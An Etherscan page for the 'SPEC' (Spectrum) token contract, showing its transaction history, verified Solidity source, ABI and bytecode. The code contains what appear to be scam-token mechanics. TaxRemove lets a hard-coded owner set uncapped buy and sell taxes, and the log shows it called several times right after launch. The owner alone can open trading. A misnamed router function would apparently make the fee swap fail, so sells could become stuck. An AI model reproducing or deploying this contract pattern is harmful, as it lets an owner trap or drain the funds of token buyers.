ETH Price: $2,625.69 (+1.30%)

Contract

0x43cD4C081aEa3b6c15dE12F8E0B2Ab5544BdA9ee
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer189077022023-12-31 20:00:47290 days ago1704052847IN
0x43cD4C08...544BdA9ee
0 ETH0.0006974812.2780073
Approve186366532023-11-23 19:55:47328 days ago1700769347IN
0x43cD4C08...544BdA9ee
0 ETH0.0007008329.05597492
Approve184192562023-10-24 9:34:23358 days ago1698140063IN
0x43cD4C08...544BdA9ee
0 ETH0.0012796127.53992661
Approve184150932023-10-23 19:36:23359 days ago1698089783IN
0x43cD4C08...544BdA9ee
0 ETH0.0016270635.06302231
Approve184149052023-10-23 18:58:23359 days ago1698087503IN
0x43cD4C08...544BdA9ee
0 ETH0.000783630
Approve184149042023-10-23 18:58:11359 days ago1698087491IN
0x43cD4C08...544BdA9ee
0 ETH0.0007061129.27528565
Approve184148922023-10-23 18:55:47359 days ago1698087347IN
0x43cD4C08...544BdA9ee
0 ETH0.0015873234.20662363
Tax Remove184148442023-10-23 18:45:59359 days ago1698086759IN
0x43cD4C08...544BdA9ee
0 ETH0.0008183928.36242342
Approve184148332023-10-23 18:43:47359 days ago1698086627IN
0x43cD4C08...544BdA9ee
0 ETH0.0012601527.12102641
Approve184148012023-10-23 18:37:23359 days ago1698086243IN
0x43cD4C08...544BdA9ee
0 ETH0.0011334324.39388115
Tax Remove184147612023-10-23 18:29:23359 days ago1698085763IN
0x43cD4C08...544BdA9ee
0 ETH0.0007166224.83536885
Tax Remove184146802023-10-23 18:13:11359 days ago1698084791IN
0x43cD4C08...544BdA9ee
0 ETH0.0009148631.70552625
Approve184146622023-10-23 18:09:35359 days ago1698084575IN
0x43cD4C08...544BdA9ee
0 ETH0.0016553635.6359932
Approve184146412023-10-23 18:05:23359 days ago1698084323IN
0x43cD4C08...544BdA9ee
0 ETH0.0019979543
Tax Remove184146352023-10-23 18:04:11359 days ago1698084251IN
0x43cD4C08...544BdA9ee
0 ETH0.0011560240.06314596
Tax Remove184146272023-10-23 18:02:35359 days ago1698084155IN
0x43cD4C08...544BdA9ee
0 ETH0.0011273939.07096923
Tax Remove184146252023-10-23 18:02:11359 days ago1698084131IN
0x43cD4C08...544BdA9ee
0 ETH0.0011377539.42993305
Approve184146222023-10-23 18:01:35359 days ago1698084095IN
0x43cD4C08...544BdA9ee
0 ETH0.0020104743.57344578
Approve184146172023-10-23 18:00:35359 days ago1698084035IN
0x43cD4C08...544BdA9ee
0 ETH0.0023205149.95513995
Tax Remove184146172023-10-23 18:00:35359 days ago1698084035IN
0x43cD4C08...544BdA9ee
0 ETH0.0025254654.95513995
Approve184146162023-10-23 18:00:23359 days ago1698084023IN
0x43cD4C08...544BdA9ee
0 ETH0.002214247.65428005
Swap Open184146092023-10-23 17:58:59359 days ago1698083939IN
0x43cD4C08...544BdA9ee
0 ETH0.0013486550.85616057
Approve184146062023-10-23 17:58:23359 days ago1698083903IN
0x43cD4C08...544BdA9ee
0 ETH0.0024639353.35960423
0x60c06040184146012023-10-23 17:57:23359 days ago1698083843IN
 Create: SPEC
0 ETH0.0421595849.34957585

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SPEC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-23
*/

/*

Telegram: https://t.me/Spectrum_Market

WEB: spectrummarket.io


*/

// SPDX-License-Identifier: unlicense


pragma solidity 0.8.21;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTaxfsOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract SPEC {



        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public   _name = unicode"Spectrum"; 
        string public   _symbol = unicode"SPEC";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 10000000 * 10**decimals;

        uint256 buyTaxfs = 0;
        uint256 sellTaxfs = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return _name;
        }

    
        function symbol() public view virtual returns (string memory) {
        return _symbol;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed MTKSp,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant MTKSp = payable(address(0x1dA2EE6f151B164a9a402590CcCF86BE13661268));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == MTKSp || to == MTKSp);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTaxfsOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                MTKSp.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TaxfsAmount = amount * (from == pair ? buyTaxfs : sellTaxfs) / 100;
                amount -= TaxfsAmount;
                balanceOf[address(this)] += TaxfsAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function SwapOpen() external {
            require(msg.sender == MTKSp);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _RemeveTax(uint256 _buy, uint256 _sell) private {
            buyTaxfs = _buy;
            sellTaxfs = _sell;
        }

        function TaxRemove(uint256 _buy, uint256 _sell) external {
            if(msg.sender != MTKSp)        
                revert Permissions();
            _RemeveTax(_buy, _sell);
        }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"MTKSp","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SwapOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"TaxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526008608090815267537065637472756d60c01b60a0525f90620000289082620001bb565b506040805180820190915260048152635350454360e01b6020820152600190620000539082620001bb565b505f6002555f60035534801562000068575f80fd5b50620000776012600a62000392565b620000869062989680620003a9565b335f8181526004602090815260408083209490945530825260058152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000f56012600a62000392565b620001049062989680620003a9565b60405190815260200160405180910390a3620003c3565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200014457607f821691505b6020821081036200016357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001b6575f81815260208120601f850160051c81016020861015620001915750805b601f850160051c820191505b81811015620001b2578281556001016200019d565b5050505b505050565b81516001600160401b03811115620001d757620001d76200011b565b620001ef81620001e884546200012f565b8462000169565b602080601f83116001811462000225575f84156200020d5750858301515b5f19600386901b1c1916600185901b178555620001b2565b5f85815260208120601f198616915b82811015620002555788860151825594840194600190910190840162000234565b50858210156200027357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002d757815f1904821115620002bb57620002bb62000283565b80851615620002c957918102915b93841c93908002906200029c565b509250929050565b5f82620002ef575060016200038c565b81620002fd57505f6200038c565b8160018114620003165760028114620003215762000341565b60019150506200038c565b60ff84111562000335576200033562000283565b50506001821b6200038c565b5060208310610133831016604e8410600b841016171562000366575081810a6200038c565b62000372838362000297565b805f190482111562000388576200038862000283565b0290505b92915050565b5f620003a260ff841683620002df565b9392505050565b80820281158282048414176200038c576200038c62000283565b610c7780620003d15f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c578063b09f126611610057578063b09f126614610201578063b944d7bb14610215578063d28d885214610234578063dd62ed3e14610248575f80fd5b806370a08231146101a357806395d89b41146101ce578063a9059cbb146101e2575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634773e0281461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e161027e565b6040516100ee91906108f7565b60405180910390f35b348015610102575f80fd5b5061011661011136600461095d565b61030d565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a610379565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610985565b610395565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101a16103e2565b005b3480156101ae575f80fd5b5061013a6101bd3660046109be565b60046020525f908152604090205481565b3480156101d9575f80fd5b506100e161042c565b3480156101ed575f80fd5b506101166101fc36600461095d565b61043b565b34801561020c575f80fd5b506100e161044e565b348015610220575f80fd5b506101a161022f3660046109d7565b6104da565b34801561023f575f80fd5b506100e1610518565b348015610253575f80fd5b5061013a6102623660046109f7565b600560209081525f928352604080842090915290825290205481565b60605f805461028c90610a28565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610a28565b80156103035780601f106102da57610100808354040283529160200191610303565b820191905f5260205f20905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103679086815260200190565b60405180910390a35060015b92915050565b6103856012600a610b54565b6103929062989680610b62565b81565b6001600160a01b0383165f9081526005602090815260408083203384529091528120805483919083906103c9908490610b79565b909155506103da9050848484610524565b949350505050565b33731da2ee6f151b164a9a402590cccf86be1366126814610401575f80fd5b600654600160a81b900460ff1615610417575f80fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461028c90610a28565b5f610447338484610524565b9392505050565b6001805461045b90610a28565b80601f016020809104026020016040519081016040528092919081815260200182805461048790610a28565b80156104d25780601f106104a9576101008083540402835291602001916104d2565b820191905f5260205f20905b8154815290600101906020018083116104b557829003601f168201915b505050505081565b33731da2ee6f151b164a9a402590cccf86be136612681461050d57604051629af2b160e81b815260040160405180910390fd5b600291909155600355565b5f805461045b90610a28565b6006545f90600160a81b900460ff168061055a57506001600160a01b038416731da2ee6f151b164a9a402590cccf86be13661268145b8061058157506001600160a01b038316731da2ee6f151b164a9a402590cccf86be13661268145b610589575f80fd5b600654600160a81b900460ff161580156105ac57506006546001600160a01b0316155b80156105b757505f82115b156105d857600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260046020526040812080548492906105ff908490610b79565b90915550506006546001600160a01b03848116911614801561062b5750600654600160a01b900460ff16155b8015610669575060646106406012600a610b54565b61064d9062989680610b62565b6106579190610b8c565b305f9081526004602052604090205410155b156107f2576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106106b4576106b4610bab565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106fc576106fc610bab565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d6376c452be606461073c6012600a610b54565b6107499062989680610b62565b6107539190610b8c565b5f8430426040518663ffffffff1660e01b8152600401610777959493929190610bbf565b5f604051808303815f87803b15801561078e575f80fd5b505af11580156107a0573d5f803e3d5ffd5b5050604051731da2ee6f151b164a9a402590cccf86be1366126892504780156108fc029250905f818181858888f193505050501580156107e2573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b0384163014610872576006545f906064906001600160a01b0387811691161461082457600354610828565b6002545b6108329085610b62565b61083c9190610b8c565b90506108488184610b79565b305f9081526004602052604081208054929550839290919061086b908490610c2e565b9091555050505b6001600160a01b0383165f9081526004602052604081208054849290610899908490610c2e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e591815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b8181101561092257858101830151858201604001528201610906565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610958575f80fd5b919050565b5f806040838503121561096e575f80fd5b61097783610942565b946020939093013593505050565b5f805f60608486031215610997575f80fd5b6109a084610942565b92506109ae60208501610942565b9150604084013590509250925092565b5f602082840312156109ce575f80fd5b61044782610942565b5f80604083850312156109e8575f80fd5b50508035926020909101359150565b5f8060408385031215610a08575f80fd5b610a1183610942565b9150610a1f60208401610942565b90509250929050565b600181811c90821680610a3c57607f821691505b602082108103610a5a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610aae57815f1904821115610a9457610a94610a60565b80851615610aa157918102915b93841c9390800290610a79565b509250929050565b5f82610ac457506001610373565b81610ad057505f610373565b8160018114610ae65760028114610af057610b0c565b6001915050610373565b60ff841115610b0157610b01610a60565b50506001821b610373565b5060208310610133831016604e8410600b8410161715610b2f575081810a610373565b610b398383610a74565b805f1904821115610b4c57610b4c610a60565b029392505050565b5f61044760ff841683610ab6565b808202811582820484141761037357610373610a60565b8181038181111561037357610373610a60565b5f82610ba657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c0d5784516001600160a01b031683529383019391830191600101610be8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561037357610373610a6056fea2646970667358221220dc7e937ba76a12bf89d03508bb4878a7f89febf00e6883aa8a2bf7aa573209c864736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806370a082311161007c578063b09f126611610057578063b09f126614610201578063b944d7bb14610215578063d28d885214610234578063dd62ed3e14610248575f80fd5b806370a08231146101a357806395d89b41146101ce578063a9059cbb146101e2575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634773e0281461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e161027e565b6040516100ee91906108f7565b60405180910390f35b348015610102575f80fd5b5061011661011136600461095d565b61030d565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a610379565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610985565b610395565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101a16103e2565b005b3480156101ae575f80fd5b5061013a6101bd3660046109be565b60046020525f908152604090205481565b3480156101d9575f80fd5b506100e161042c565b3480156101ed575f80fd5b506101166101fc36600461095d565b61043b565b34801561020c575f80fd5b506100e161044e565b348015610220575f80fd5b506101a161022f3660046109d7565b6104da565b34801561023f575f80fd5b506100e1610518565b348015610253575f80fd5b5061013a6102623660046109f7565b600560209081525f928352604080842090915290825290205481565b60605f805461028c90610a28565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610a28565b80156103035780601f106102da57610100808354040283529160200191610303565b820191905f5260205f20905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103679086815260200190565b60405180910390a35060015b92915050565b6103856012600a610b54565b6103929062989680610b62565b81565b6001600160a01b0383165f9081526005602090815260408083203384529091528120805483919083906103c9908490610b79565b909155506103da9050848484610524565b949350505050565b33731da2ee6f151b164a9a402590cccf86be1366126814610401575f80fd5b600654600160a81b900460ff1615610417575f80fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461028c90610a28565b5f610447338484610524565b9392505050565b6001805461045b90610a28565b80601f016020809104026020016040519081016040528092919081815260200182805461048790610a28565b80156104d25780601f106104a9576101008083540402835291602001916104d2565b820191905f5260205f20905b8154815290600101906020018083116104b557829003601f168201915b505050505081565b33731da2ee6f151b164a9a402590cccf86be136612681461050d57604051629af2b160e81b815260040160405180910390fd5b600291909155600355565b5f805461045b90610a28565b6006545f90600160a81b900460ff168061055a57506001600160a01b038416731da2ee6f151b164a9a402590cccf86be13661268145b8061058157506001600160a01b038316731da2ee6f151b164a9a402590cccf86be13661268145b610589575f80fd5b600654600160a81b900460ff161580156105ac57506006546001600160a01b0316155b80156105b757505f82115b156105d857600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260046020526040812080548492906105ff908490610b79565b90915550506006546001600160a01b03848116911614801561062b5750600654600160a01b900460ff16155b8015610669575060646106406012600a610b54565b61064d9062989680610b62565b6106579190610b8c565b305f9081526004602052604090205410155b156107f2576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106106b4576106b4610bab565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106fc576106fc610bab565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d6376c452be606461073c6012600a610b54565b6107499062989680610b62565b6107539190610b8c565b5f8430426040518663ffffffff1660e01b8152600401610777959493929190610bbf565b5f604051808303815f87803b15801561078e575f80fd5b505af11580156107a0573d5f803e3d5ffd5b5050604051731da2ee6f151b164a9a402590cccf86be1366126892504780156108fc029250905f818181858888f193505050501580156107e2573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b0384163014610872576006545f906064906001600160a01b0387811691161461082457600354610828565b6002545b6108329085610b62565b61083c9190610b8c565b90506108488184610b79565b305f9081526004602052604081208054929550839290919061086b908490610c2e565b9091555050505b6001600160a01b0383165f9081526004602052604081208054849290610899908490610c2e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e591815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b8181101561092257858101830151858201604001528201610906565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610958575f80fd5b919050565b5f806040838503121561096e575f80fd5b61097783610942565b946020939093013593505050565b5f805f60608486031215610997575f80fd5b6109a084610942565b92506109ae60208501610942565b9150604084013590509250925092565b5f602082840312156109ce575f80fd5b61044782610942565b5f80604083850312156109e8575f80fd5b50508035926020909101359150565b5f8060408385031215610a08575f80fd5b610a1183610942565b9150610a1f60208401610942565b90509250929050565b600181811c90821680610a3c57607f821691505b602082108103610a5a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610aae57815f1904821115610a9457610a94610a60565b80851615610aa157918102915b93841c9390800290610a79565b509250929050565b5f82610ac457506001610373565b81610ad057505f610373565b8160018114610ae65760028114610af057610b0c565b6001915050610373565b60ff841115610b0157610b01610a60565b50506001821b610373565b5060208310610133831016604e8410600b8410161715610b2f575081810a610373565b610b398383610a74565b805f1904821115610b4c57610b4c610a60565b029392505050565b5f61044760ff841683610ab6565b808202811582820484141761037357610373610a60565b8181038181111561037357610373610a60565b5f82610ba657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c0d5784516001600160a01b031683529383019391830191600101610be8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561037357610373610a6056fea2646970667358221220dc7e937ba76a12bf89d03508bb4878a7f89febf00e6883aa8a2bf7aa573209c864736f6c63430008150033

Deployed Bytecode Sourcemap

417:4186:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1283:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1887:222;;;;;;;;;;-1:-1:-1;1887:222:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;1887:222:0;1004:187:1;1046:61:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;1046:61:0;1196:177:1;448:208:0;;;;;;;;;;-1:-1:-1;448:208:0;;;;;:::i;:::-;;:::i;1000:35::-;;;;;;;;;;;;1033:2;1000:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;1000:35:0;1711:184:1;4089:161:0;;;;;;;;;;;;;:::i;:::-;;1733:45;;;;;;;;;;-1:-1:-1;1733:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;1396:99;;;;;;;;;;;;;:::i;2121:136::-;;;;;;;;;;-1:-1:-1;2121:136:0;;;;;:::i;:::-;;:::i;948:39::-;;;;;;;;;;;;;:::i;4405:191::-;;;;;;;;;;-1:-1:-1;4405:191:0;;;;;:::i;:::-;;:::i;895:41::-;;;;;;;;;;;;;:::i;1789:66::-;;;;;;;;;;-1:-1:-1;1789:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;1283:95;1328:13;1361:5;1354:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1283:95;:::o;1887:222::-;1985:10;1955:4;1975:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;1975:30:0;;;;;;;;;;:39;;;2034:37;1955:4;;1975:30;;2034:37;;;;2008:6;1342:25:1;;1330:2;1315:18;;1196:177;2034:37:0;;;;;;;;-1:-1:-1;2093:4:0;1887:222;;;;;:::o;1046:61::-;1095:12;1033:2;1095;:12;:::i;:::-;1084:23;;:8;:23;:::i;:::-;1046:61;:::o;448:208::-;-1:-1:-1;;;;;550:15:0;;530:4;550:15;;;:9;:15;;;;;;;;566:10;550:27;;;;;;;:37;;581:6;;550:27;530:4;;550:37;;581:6;;550:37;:::i;:::-;;;;-1:-1:-1;617:27:0;;-1:-1:-1;627:4:0;633:2;637:6;617:9;:27::i;:::-;610:34;448:208;-1:-1:-1;;;;448:208:0:o;4089:161::-;4141:10;2602:42;4141:19;4133:28;;;;;;4185:11;;-1:-1:-1;;;4185:11:0;;;;4184:12;4176:21;;;;;;4212:11;:18;;-1:-1:-1;;;;4212:18:0;-1:-1:-1;;;4212:18:0;;;4089:161::o;1396:99::-;1443:13;1476:7;1469:14;;;;;:::i;2121:136::-;2185:4;2212:33;2222:10;2234:2;2238:6;2212:9;:33::i;:::-;2205:40;2121:136;-1:-1:-1;;;2121:136:0:o;948:39::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4405:191::-;4480:10;2602:42;4480:19;4477:69;;4533:13;;-1:-1:-1;;;4533:13:0;;;;;;;;;;;4477:69;4334:8;:15;;;;4364:9;:17;4405:191::o;895:41::-;;;;;;;:::i;2793:1284::-;2900:11;;2872:4;;-1:-1:-1;;;2900:11:0;;;;;:28;;-1:-1:-1;;;;;;2915:13:0;;2602:42;2915:13;2900:28;:43;;;-1:-1:-1;;;;;;2932:11:0;;2602:42;2932:11;2900:43;2892:52;;;;;;2965:11;;-1:-1:-1;;;2965:11:0;;;;2964:12;:34;;;;-1:-1:-1;2980:4:0;;-1:-1:-1;;;;;2980:4:0;:18;2964:34;:48;;;;;3011:1;3002:6;:10;2964:48;2961:79;;;3031:4;:9;;-1:-1:-1;;;;;;3031:9:0;-1:-1:-1;;;;;3031:9:0;;;;;2961:79;-1:-1:-1;;;;;3057:15:0;;;;;;:9;:15;;;;;:25;;3076:6;;3057:15;:25;;3076:6;;3057:25;:::i;:::-;;;;-1:-1:-1;;3109:4:0;;-1:-1:-1;;;;;3103:10:0;;;3109:4;;3103:10;:23;;;;-1:-1:-1;3118:8:0;;-1:-1:-1;;;3118:8:0;;;;3117:9;3103:23;:65;;;;-1:-1:-1;1227:3:0;1095:12;1033:2;1095;:12;:::i;:::-;1084:23;;:8;:23;:::i;:::-;1213:17;;;;:::i;:::-;3148:4;3130:24;;;;:9;:24;;;;;;:38;;3103:65;3099:609;;;3188:8;:15;;-1:-1:-1;;;;3188:15:0;-1:-1:-1;;;3188:15:0;;;3246:16;;;3260:1;3246:16;;;;;;;;-1:-1:-1;;3246:16:0;;;;;;;;;;-1:-1:-1;3246:16:0;3222:40;;3299:4;3281;3286:1;3281:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3281:23:0;;;-1:-1:-1;;;;;3281:23:0;;;;;2323:42;3323:4;3328:1;3323:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3323:13:0;;;:7;;;;;;;;;;;:13;2409:42;3355:69;1227:3;1095:12;1033:2;1095;:12;:::i;:::-;1084:23;;:8;:23;:::i;:::-;1213:17;;;;:::i;:::-;3480:1;3504:4;3539;3567:15;3355:246;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3620:37:0;;2602:42;;-1:-1:-1;3635:21:0;3620:37;;;;;-1:-1:-1;3635:21:0;3620:37;;;;3635:21;2602:42;3620:37;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3676:8:0;:16;;-1:-1:-1;;;;3676:16:0;;;3099:609;-1:-1:-1;;;;;3727:21:0;;3743:4;3727:21;3724:232;;3808:4;;3768:19;;3839:3;;-1:-1:-1;;;;;3800:12:0;;;3808:4;;3800:12;:35;;3826:9;;3800:35;;;3815:8;;3800:35;3790:46;;:6;:46;:::i;:::-;:52;;;;:::i;:::-;3768:74;-1:-1:-1;3861:21:0;3768:74;3861:21;;:::i;:::-;3919:4;3901:24;;;;:9;:24;;;;;:39;;3861:21;;-1:-1:-1;3929:11:0;;3901:24;;;:39;;3929:11;;3901:39;:::i;:::-;;;;-1:-1:-1;;;3724:232:0;-1:-1:-1;;;;;3970:13:0;;;;;;:9;:13;;;;;:23;;3987:6;;3970:13;:23;;3987:6;;3970:23;:::i;:::-;;;;;;;;4028:2;-1:-1:-1;;;;;4013:26:0;4022:4;-1:-1:-1;;;;;4013:26:0;;4032:6;4013:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4013:26:0;;;;;;;;-1:-1:-1;4061:4:0;2793:1284;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;3